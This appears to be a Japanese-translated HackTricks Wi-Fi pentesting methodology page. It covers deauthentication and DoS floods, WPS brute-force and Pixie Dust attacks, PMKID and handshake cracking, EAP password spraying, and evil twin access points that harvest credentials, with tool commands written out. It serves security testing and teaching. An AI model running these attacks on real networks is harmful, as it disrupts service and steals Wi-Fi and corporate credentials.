hacktricks/generic-methodologies-and-resources/pentesting-wifi/README.md

59 KiB
Raw Permalink Blame History

Pentesting Wifi

{% hint style="success" %} AWSハッキングを学び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}

HackenProof Discordサーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!

ハッキングの洞察
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する

リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていく

最新の発表
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る

Discordに参加して、今日からトップハッカーとコラボレーションを始めましょう!

Wifi基本コマンド

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

ツール

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

エアゲドン

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

Dockerでairgeddonを実行する

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

From: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux

wifiphisher

Evil Twin、KARMA、既知ビーコン攻撃を実行し、フィッシングテンプレートを使用してネットワークの本当のパスワードを取得したり、ソーシャルネットワークの認証情報をキャプチャしたりすることができます。

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

このツールはWPS/WEP/WPA-PSK攻撃を自動化します。自動的に以下を行います:

  • インターフェースをモニターモードに設定
  • 可能なネットワークをスキャン - 被害者を選択できます
  • WEPの場合 - WEP攻撃を開始
  • WPA-PSKの場合
  • WPSの場合Pixie dust攻撃とブルートフォース攻撃ブルートフォース攻撃は時間がかかる可能性があるため注意してください。ヌルPINやデータベース/生成されたPINを試みないことに注意してください。
  • APからPMKIDをキャプチャしてクラックを試みる
  • APのクライアントを非認証にしてハンドシェイクをキャプチャする
  • PMKIDまたはハンドシェイクがあれば、上位5000のパスワードを使用してブルートフォースを試みる。

攻撃の概要

  • DoS
  • 非認証/非関連 -- すべての人を切断または特定のESSID/クライアント)
  • ランダムな偽AP -- ネットを隠す、スキャナーをクラッシュさせる可能性
  • APを過負荷 -- APを殺そうとする通常あまり役に立たない
  • WIDS -- IDSで遊ぶ
  • TKIP, EAPOL -- 一部のAPに対する特定のDoS攻撃
  • クラック
  • WEPをクラック(いくつかのツールと方法)
  • WPA-PSK
  • WPSピン "ブルートフォース"
  • WPA PMKIDブルートフォース
  • [DoS +] WPAハンドシェイクキャプチャ + クラック
  • WPA-MGT
  • ユーザー名キャプチャ
  • ブルートフォース資格情報
  • イービルツインDoSの有無にかかわらず
  • オープンイービルツイン [+ DoS] -- キャプティブポータルの資格情報をキャプチャしたり、LAN攻撃を行うのに便利
  • WPA-PSKイービルツイン -- パスワードを知っていればネットワーク攻撃に便利
  • WPA-MGT -- 会社の資格情報をキャプチャするのに便利
  • KARMA, MANA, Loud MANA, Known beacon
  • + オープン -- キャプティブポータルの資格情報をキャプチャしたり、LAN攻撃を行うのに便利
  • + WPA -- WPAハンドシェイクをキャプチャするのに便利

DOS

非認証パケット

説明は こちらから:.

非認証攻撃は、Wi-Fiハッキングで一般的な手法であり、「管理」フレームを偽造してデバイスをネットワークから強制的に切断します。これらの暗号化されていないパケットは、クライアントに正当なネットワークからのものであると信じ込ませ、攻撃者がクラック目的でWPAハンドシェイクを収集したり、ネットワーク接続を持続的に妨害したりすることを可能にします。この戦術は、その単純さにおいて驚くべきものであり、広く使用されており、ネットワークセキュリティに重大な影響を与えます。

Aireplay-ngを使用した非認証

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0は非認証を意味します
  • 1は送信する非認証の数です必要に応じて複数送信できます0は継続的に送信することを意味します
  • -a 00:14:6C:7E:40:80はアクセスポイントのMACアドレスです
  • -c 00:0F:B5:34:30:30は非認証するクライアントのMACアドレスですこれが省略されると、ブロードキャスト非認証が送信されます常に機能するわけではありません
  • ath0はインターフェース名です

切断パケット

切断パケットは、非認証パケットと同様に、Wi-Fiネットワークで使用される管理フレームの一種です。これらのパケットは、デバイスラップトップやスマートフォンなどとアクセスポイントAPとの接続を切断するために使用されます。切断と非認証の主な違いは、その使用シナリオにあります。APがネットワークから不正なデバイスを明示的に削除するために非認証パケットを発信する一方で、切断パケットは通常、APがシャットダウン、再起動、または移動している際に送信され、すべての接続ードの切断が必要となります。

この攻撃はmdk4モード"d")で実行できます:

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

mdk4によるさらなるDOS攻撃

ここに あります

攻撃モード b: ビーコ flood

クライアントに偽のAPを表示するためにビーコフレームを送信します。これにより、ネットワークスキャナーやドライバーがクラッシュすることがあります

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

ATTACK MODE a: 認証サービス拒否

範囲内のすべてのアクセス・ポイントAPに認証フレームを送信することで、特に多数のクライアントが関与している場合、これらのAPを過負荷にすることができます。この激しいトラフィックはシステムの不安定性を引き起こし、一部のAPがフリーズしたり、リセットされたりする原因となります。

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

ATTACK MODE p: SSID Probing and Bruteforcing

アクセスポイントAPのプロービングは、SSIDが適切に公開されているかを確認し、APの範囲を確認します。この技術は、隠されたSSIDのブルートフォースを単語リストの有無にかかわらず組み合わせることで、隠されたネットワークを特定しアクセスするのに役立ちます。

ATTACK MODE m: Michael Countermeasures Exploitation

ランダムまたは重複したパケットを異なるQoSキューに送信すると、TKIP APsでマイケル対策がトリガーされ、APが1分間シャットダウンします。この方法は、効率的なDoS(サービス拒否)攻撃戦術です。

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

ATTACK MODE e: EAPOL Start and Logoff Packet Injection

APにEAPOL Startフレームを洪水させることで偽のセッションが作成され、APが圧倒され、正当なクライアントがブロックされます。あるいは、偽のEAPOL Logoffメッセージを注入することでクライアントを強制的に切断させることができ、どちらの方法もネットワークサービスを効果的に妨害します。

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

ATTACK MODE s: IEEE 802.11s メッシュネットワークへの攻撃

メッシュネットワークにおけるリンク管理とルーティングに対するさまざまな攻撃。

ATTACK MODE w: WIDS 混乱

クライアントを複数の WDS ノードや偽のロゲ AP にクロス接続することで、侵入検知および防止システムを操作し、混乱と潜在的なシステムの悪用を引き起こすことができます。

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

ATTACK MODE f: Packet Fuzzer

パケット操作のための多様なパケットソースと包括的な修飾子を備えたパケットファズァ。

Airggedon

Airgeddon は、前のコメントで提案されたほとんどの攻撃を提供します:

WPS

WPS (Wi-Fi Protected Setup) は、デバイスをルーターに接続するプロセスを簡素化し、WPA または WPA2 パーソナルで暗号化されたネットワークのセットアップ速度と容易さを向上させます。容易に侵害されるWEPセキュリティには効果がありません。WPSは8桁のPINを使用し、2つの半分で検証されるため、組み合わせの数が限られている11,000の可能性ため、ブルートフォース攻撃に対して脆弱です。

WPS Bruteforce

このアクションを実行するための主なツールは2つありますReaverとBully。

  • Reaver は、WPSに対する堅牢で実用的な攻撃として設計されており、さまざまなアクセスポイントとWPS実装に対してテストされています。
  • Bully は、Cで書かれたWPSブルートフォース攻撃の新しい実装です。元のReaverコードに対していくつかの利点があります依存関係が少なく、メモリとCPUのパフォーマンスが向上し、エンディアンの処理が正確で、より堅牢なオプションセットがあります。

この攻撃は、WPS PINの脆弱性を利用し、特に最初の4桁の露出と最後の桁のチェックサムとしての役割がブルートフォース攻撃を容易にします。しかし、攻撃者の攻撃的なMACアドレスをブロックするなどのブルートフォース攻撃に対する防御は、攻撃を続けるためにMACアドレスのローテーションを要求します。

BullyやReaverのようなツールでWPS PINを取得すると、攻撃者はWPA/WPA2 PSKを推測でき、持続的なネットワークアクセスを確保します。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

スマートブルートフォース

この洗練されたアプローチは、既知の脆弱性を利用してWPS PINをターゲットにします

  1. 事前に発見されたPIN特定のメーカーに関連する既知のPINのデータベースを利用し、均一なWPS PINを使用することで知られるメーカーにリンクします。このデータベースは、MACアドレスの最初の3オクテットとこれらのメーカーの可能性のあるPINを相関させます。
  2. PIN生成アルゴリズムAPのMACアドレスに基づいてWPS PINを計算するComputePINやEasyBoxのようなアルゴリズムを活用します。Arcadyanアルゴリズムは、デバイスIDも必要とし、PIN生成プロセスに層を追加します。

WPSピクシーダスト攻撃

ドミニク・ボンガールは、秘密コードの作成に関するいくつかのアクセスポイントAPの欠陥を発見しました。これらはノンスE-S1およびE-S2として知られています。これらのンスが特定できれば、APのWPS PINを解読するのが容易になります。APは、正当であり偽のロゲAPではないことを証明するために、特別なコードハッシュ内にPINを公開します。これらのンスは、WPS PINを保持する「金庫」を解錠するための「鍵」として本質的に機能します。詳細はこちらで確認できます。

簡単に言えば、問題は、一部のAPが接続プロセス中にPINを暗号化するために十分にランダムな鍵を使用しなかったことです。これにより、PINがネットワーク外から推測される脆弱性が生じますオフラインブルートフォース攻撃

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

デバイスをモニターモードに切り替えたくない場合や、reaverbullyに問題がある場合は、OneShot-Cを試すことができます。このツールは、モニターモードに切り替えることなくPixie Dust攻撃を実行できます。

./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Null Pin攻撃

一部の設計が不十分なシステムでは、Null PIN空のまたは存在しないPINがアクセスを許可することさえあります。これは非常に異常です。ツールReaverは、この脆弱性をテストすることができ、Bullyとは異なります。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

提案されたすべてのWPS攻撃は、_airgeddon._を使用して簡単に実行できます。

  • 5と6は、あなたのカスタムPINを試すことができます(もしあれば)
  • 7と8は、Pixie Dust攻撃を実行します
  • 13は、NULL PINをテストすることができます
  • 11と12は、利用可能なデータベースから選択したAPに関連するPINを再収集しComputePIN、EasyBox、オプションでArcadyan推奨、なぜならを使用して可能なPINを生成します
  • 9と10は、すべての可能なPINをテストします

WEP

今では壊れていて使用されていません。_airgeddon_には、この種の保護を攻撃するための「All-in-One」と呼ばれるWEPオプションがあることを知っておいてください。他のツールも同様のオプションを提供しています。


経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、HackenProof Discordサーバーに参加してください!

Hacking Insights
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう

Real-Time Hack News
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう

Latest Announcements
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を入手しましょう

Join us on Discord and start collaborating with top hackers today!


WPA/WPA2 PSK

PMKID

2018年、hashcat新しい攻撃方法を明らかにしました。この方法は、1つのパケットだけを必要とし、ターゲットAPに接続されているクライアントを必要としないため、ユニークです—攻撃者とAPの間の相互作用だけが必要です。

多くの現代のルーターは、関連中に最初のEAPOLフレームにRobust Security Networkとして知られるオプションフィールドを追加します。これにはPMKIDが含まれます。

元の投稿が説明しているように、PMKIDは既知のデータを使用して作成されます:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

与えられた「PMK名」が一定であるため、APとステーションのBSSIDがわかり、PMKが完全な4-wayハンドシェイクのものと同一である場合、hashcatはこの情報を使用してPSKをクラッキングし、パスフレーズを回復できます

この情報を収集し、パスワードをローカルでブルートフォースするには、次のようにします:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

キャプチャされた PMKIDsコンソール に表示され、また /tmp/attack.pcap保存 されます。
次に、キャプチャを hashcat/john 形式に変換し、クラックします:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

正しいハッシュの形式は4つの部分を含むことに注意してください。例: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 あなたのハッシュが3つの部分しか含まれていない場合、それは無効ですPMKIDキャプチャが無効でした

hcxdumptoolハンドシェイクもキャプチャします(このようなものが表示されます: MP:M1M2 RC:63258 EAPOLTIME:17091)。cap2hccapxを使用してハンドシェイクhashcat/john形式に変換できます。

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

I have noticed that some handshakes captured with this tool couldn't be cracked even knowing the correct password. I would recommend to capture handshakes also via traditional way if possible, or capture several of them using this tool.

Handshake capture

WPA/WPA2ネットワークに対する攻撃は、handshakeをキャプチャし、パスワードをofflinecrackしようとすることで実行できます。このプロセスは、特定のネットワークと特定のchannel上のBSSIDの通信を監視することを含みます。以下は簡潔なガイドです:

  1. ターゲットネットワークのBSSIDchannel、およびconnected clientを特定します。
  2. airodump-ngを使用して、指定されたchannelとBSSIDのネットワークトラフィックを監視し、handshakeをキャプチャすることを期待します。コマンドは次のようになります
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. ハンドシェイクをキャプチャする確率を高めるために、クライアントを一時的にネットワークから切断して再認証を強制します。これは、クライアントに対して非認証パケットを送信する aireplay-ng コマンドを使用して行うことができます:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

Note that as the client was deauthenticated it could try to connect to a different AP or, in other cases, to a different network.

airodump-ngにハンドシェイク情報が表示されると、これはハンドシェイクがキャプチャされたことを意味し、リスニングを停止できます:

ハンドシェイクがキャプチャされたら、aircrack-ngクラックできます:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

ファイル内のハンドシェイクを確認する

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

このツールがESSIDの未完了ハンドシェイクを完了したものの前に見つけた場合、有効なものを検出しません。

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA Enterprise (MGT)

エンタープライズWiFi設定では、さまざまな認証方法に出会います。 各方法は異なるセキュリティレベルと管理機能を提供します。airodump-ngのようなツールを使用してネットワークトラフィックを検査すると、これらの認証タイプの識別子に気付くかもしれません。一般的な方法には次のものが含まれます:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Generic Token Card):
  • この方法は、EAP-PEAP内でハードウェアトークンとワンタイムパスワードをサポートします。MSCHAPv2とは異なり、ピアチャレンジを使用せず、パスワードを平文でアクセスポイントに送信するため、ダウングレード攻撃のリスクがあります。
  1. EAP-MD5 (Message Digest 5):
  • クライアントからパスワードのMD5ハッシュを送信することを含みます。辞書攻撃に対する脆弱性、サーバー認証の欠如、セッション固有のWEPキーを生成できないため、推奨されません
  1. EAP-TLS (Transport Layer Security):
  • 認証のためにクライアント側とサーバー側の証明書の両方を利用し、通信を保護するためにユーザー基盤およびセッション基盤のWEPキーを動的に生成できます。
  1. EAP-TTLS (Tunneled Transport Layer Security):
  • 暗号化されたトンネルを通じて相互認証を提供し、動的なユーザーごとのセッションごとのWEPキーを導出する方法を提供します。サーバー側の証明書のみを必要とし、クライアントは資格情報を使用します。
  1. PEAP (Protected Extensible Authentication Protocol):
  • EAPと同様に、保護された通信のためにTLSトンネルを作成します。トンネルによって提供される保護のため、EAPの上に弱い認証プロトコルを使用することができます。
  • PEAP-MSCHAPv2: 一般にPEAPと呼ばれ、脆弱なMSCHAPv2チャレンジ/レスポンスメカニズムと保護的なTLSトンネルを組み合わせています。
  • PEAP-EAP-TLS (またはPEAP-TLS): EAP-TLSに似ていますが、証明書を交換する前にTLSトンネルを開始し、追加のセキュリティ層を提供します。

これらの認証方法についての詳細はこちらこちらで確認できます。

ユーザー名のキャプチャ

https://tools.ietf.org/html/rfc3748#page-27を読むと、EAPを使用している場合、「アイデンティティ」 メッセージサポートされている必要があり、ユーザー名は**「レスポンスアイデンティティ」メッセージでクリア**で送信されることがわかります。

最も安全な認証方法の1つであるPEAP-EAP-TLSを使用しても、EAPプロトコルで送信されたユーザー名をキャプチャすることが可能です。これを行うには、認証通信をキャプチャします(チャンネル内でairodump-ngを開始し、同じインターフェースでwiresharkを使用)し、パケットをeapolでフィルタリングします。
レスポンス、アイデンティティ」パケット内に、クライアントのユーザー名が表示されます。

匿名アイデンティティ

アイデンティティの隠蔽は、EAP-PEAPとEAP-TTLSの両方でサポートされています。WiFiネットワークの文脈では、EAP-アイデンティティリクエストは通常、関連付けプロセス中にアクセスポイントAPによって開始されます。ユーザーの匿名性を保護するために、ユーザーのデバイス上のEAPクライアントからの応答には、初期RADIUSサーバーがリクエストを処理するために必要な基本情報のみが含まれます。この概念は、以下のシナリオを通じて示されています

  • EAP-アイデンティティ = anonymous
  • このシナリオでは、すべてのユーザーが擬似的な「anonymous」をユーザー識別子として使用します。初期RADIUSサーバーは、EAP-PEAPまたはEAP-TTLSサーバーとして機能し、PEAPまたはTTLSプロトコルのサーバー側を管理します。内部保護された認証方法は、ローカルで処理されるか、リモートホームRADIUSサーバーに委任されます。
  • EAP-アイデンティティ = anonymous@realm_x
  • この状況では、異なるレルムのユーザーがそれぞれのレルムを示しながらアイデンティティを隠します。これにより、初期RADIUSサーバーはEAP-PEAPまたはEAP-TTLSリクエストをそれぞれのホームレルムのRADIUSサーバーにプロキシし、PEAPまたはTTLSサーバーとして機能します。初期RADIUSサーバーは、RADIUSリレーードとしてのみ機能します。
  • あるいは、初期RADIUSサーバーがEAP-PEAPまたはEAP-TTLSサーバーとして機能し、保護された認証方法を処理するか、別のサーバーに転送することもできます。このオプションは、さまざまなレルムに対して異なるポリシーを構成するのに役立ちます。

EAP-PEAPでは、PEAPサーバーとPEAPクライアントの間にTLSトンネルが確立されると、PEAPサーバーはEAP-アイデンティティリクエストを開始し、それをTLSトンネルを通じて送信します。クライアントは、この2回目のEAP-アイデンティティリクエストに対して、暗号化されたトンネルを通じてユーザーの真のアイデンティティを含むEAP-アイデンティティレスポンスを送信します。このアプローチは、802.11トラフィックを傍受している誰にもユーザーの実際のアイデンティティが明らかになるのを効果的に防ぎます。

EAP-TTLSは、やや異なる手順に従います。EAP-TTLSでは、クライアントは通常、TLSトンネルによって保護されたPAPまたはCHAPを使用して認証します。この場合、クライアントはトンネル確立後に送信される最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。

選択されたプロトコルに関係なく、PEAP/TTLSサーバーはTLSトンネルが確立された後にユーザーの真のアイデンティティを知ることになります。真のアイデンティティはuser@realmまたは単にuserとして表現できます。PEAP/TTLSサーバーがユーザーの認証も担当している場合、ユーザーのアイデンティティを持ち、TLSトンネルによって保護された認証方法を進めます。あるいは、PEAP/TTLSサーバーはユーザーのホームRADIUSサーバーに新しいRADIUSリクエストを転送することがあります。この新しいRADIUSリクエストは、PEAPまたはTTLSプロトコル層を省略します。保護された認証方法がEAPである場合、内部EAPメッセージはEAP-PEAPまたはEAP-TTLSラッパーなしでホームRADIUSサーバーに送信されます。送信されるRADIUSメッセージのUser-Name属性には、受信したRADIUSリクエストからの匿名User-Nameが置き換えられ、ユーザーの真のアイデンティティが含まれます。保護された認証方法がPAPまたはCHAPTTLSのみサポートである場合、TLSペイロードから抽出されたUser-Nameおよび他の認証属性が送信されるRADIUSメッセージに置き換えられ、受信したRADIUSリクエストに見られる匿名User-NameおよびTTLS EAP-Message属性が置き換えられます。

詳細についてはhttps://www.interlinknetworks.com/app_notes/eap-peap.htmを確認してください。

EAP-ブルートフォース(パスワードスプレー)

クライアントがユーザー名とパスワードを使用することが期待される場合(この場合、EAP-TLSは無効になります)、ユーザー名リスト(次の部分を参照)とパスワードを取得し、air-hammerを使用してアクセスをブルートフォース**することができます。

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

この攻撃は eaphammer を使用しても行うことができます:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

クライアント攻撃理論

ネットワーク選択とローミング

  • 802.11プロトコルは、ステーションが拡張サービスセットESSに参加する方法を定義していますが、ESSまたはその中のアクセスポイントAPを選択する基準は指定していません。
  • ステーションは、同じESSIDを共有するAP間をローミングし、建物やエリア全体で接続を維持できます。
  • プロトコルはESSへのステーション認証を要求しますが、ステーションへのAP認証を義務付けていません。

優先ネットワークリストPNL

  • ステーションは、接続したすべてのワイヤレスネットワークのESSIDを優先ネットワークリストPNLに保存し、ネットワーク固有の設定詳細も含まれます。
  • PNLは、既知のネットワークに自動的に接続するために使用され、接続プロセスを簡素化することでユーザーの体験を向上させます。

パッシブスキャン

  • APは定期的にビーコーフレームをブロードキャストし、その存在と機能を通知します。これには、ブロードキャストが無効になっていない限り、APのESSIDが含まれます。
  • パッシブスキャン中、ステーションはビーコーフレームをリスニングします。ビーコンのESSIDがステーションのPNLのエントリと一致する場合、ステーションはそのAPに自動的に接続することがあります。
  • デバイスのPNLの知識は、既知のネットワークのESSIDを模倣することで潜在的な悪用を可能にし、デバイスをロゲAPに接続させることができます。

アクティブプロービング

  • アクティブプロービングは、ステーションが近くのAPとその特性を発見するためにプローブリクエストを送信することを含みます。
  • 指定されたプローブリクエストは特定のESSIDをターゲットにし、特定のネットワークが範囲内にあるかどうかを検出するのに役立ちます。たとえそれが隠れたネットワークであってもです。
  • ブロードキャストプローブリクエストは、SSIDフィールドが空であり、すべての近くのAPに送信され、ステーションがPNLの内容を開示することなく、任意の優先ネットワークをチェックできるようにします。

インターネットへのリダイレクトを伴うシンプルなAP

より複雑な攻撃を実行する方法を説明する前に、AP作成し、そのトラフィックインターネットに接続されたインターフェースにリダイレクトする方法を説明します。

ifconfig -aを使用して、APを作成するためのwlanインターフェースとインターネットに接続されたインターフェースが存在することを確認します。

DHCP & DNS

apt-get install dnsmasq #Manages DHCP and DNS

/etc/dnsmasq.confという設定ファイルを作成します:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

次にIPルートを設定します:

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

そしてstart dnsmasq:

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

hostapd.confという設定ファイルを作成します:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

煩わしいプロセスを停止し、モニターモードを設定し、hostapdを開始します:

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

転送とリダイレクション

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

イービルツイン攻撃は、WiFiクライアントがネットワークを認識する方法を利用し、主にネットワーク名ESSIDに依存し、ベースステーションアクセスポイントがクライアントに対して認証を行う必要がありません。主なポイントは以下の通りです

  • 区別の難しさ: デバイスは、同じESSIDと暗号化タイプを共有する正当なアクセスポイントと悪意のあるアクセスポイントを区別するのに苦労します。実際のネットワークでは、カバレッジをシームレスに拡張するために、同じESSIDを持つ複数のアクセスポイントを使用することがよくあります。
  • クライアントのローミングと接続操作: 802.11プロトコルは、デバイスが同じESS内のアクセスポイント間をローミングできるようにします。攻撃者は、デバイスを現在のベースステーションから切断させ、悪意のあるアクセスポイントに接続させることでこれを利用できます。これは、より強い信号を提供したり、非認証パケットやジャミングなどの方法で正当なアクセスポイントへの接続を妨害することで達成できます。
  • 実行の課題: 複数の適切に配置されたアクセスポイントがある環境でイービルツイン攻撃を成功させることは難しい場合があります。単一の正当なアクセスポイントを非認証にすると、攻撃者が近くのすべてのアクセスポイントを非認証にするか、悪意のあるアクセスポイントを戦略的に配置しない限り、デバイスは別の正当なアクセスポイントに接続することがよくあります。

非常に基本的なオープンイービルツイン(インターネットへのトラフィックをルーティングする機能はなし)を作成するには、次のようにします:

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

あなたはeaphammerを使用してEvil Twinを作成することもできますEvil Twinをeaphammerで作成するには、インターフェースはモニターモードであってはなりません)。

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

Or using Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).

デフォルトでは、PNLに保存されたESSIDがWPA保護されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPにDoS攻撃を試み、ユーザーが手動でオープンなEvil Twinに接続することを期待するか、実際のAPにDoS攻撃を行い、WPA Evil Twinを使用してハンドシェイクをキャプチャすることができますこの方法では、PSKがわからないため、被害者を接続させることはできませんが、ハンドシェイクをキャプチャしてクラックを試みることができます

一部のOSやAVは、オープンネットワークに接続することが危険であるとユーザーに警告します...

WPA/WPA2 Evil Twin

WPA/2を使用してEvil Twinを作成することができ、デバイスがそのSSIDにWPA/2で接続するように設定されている場合、接続を試みます。いずれにせよ、4-way-handshakeを完了するためには、クライアントが使用するパスワード知っている必要があります。もし知らない場合接続は完了しません

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

エンタープライズイービルツイン

この攻撃を理解するために、まずWPAエンタープライズの説明を読むことをお勧めします。

hostapd-wpeの使用

hostapd-wpeは動作するために設定ファイルが必要です。これらの設定の生成を自動化するには、https://github.com/WJDigby/apd_launchpadを使用できます_ /etc/hostapd-wpe/_内のPythonファイルをダウンロードしてください

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

設定ファイルでは、ssid、チャネル、ユーザーファイル、cret/key、dhパラメータ、wpaバージョン、認証など、さまざまな項目を選択できます。

EAP-TLSを使用して任意の証明書でログインを許可するhostapd-wpeの使用。

EAPHammerの使用

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

デフォルトでは、EAPHammerはこの認証方法を目的としています最初に平文パスワードを取得しようとするGTCに注意し、その後により堅牢な認証方法を使用します

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

これは、長い接続時間を避けるためのデフォルトの方法論です。ただし、認証方法を最も弱いものから最も強いものまでサーバーに指定することもできます:

--negotiate weakest

Or you could also use:

  • --negotiate gtc-downgrade を使用して、高効率のGTCダウングレード実装平文パスワードを利用する
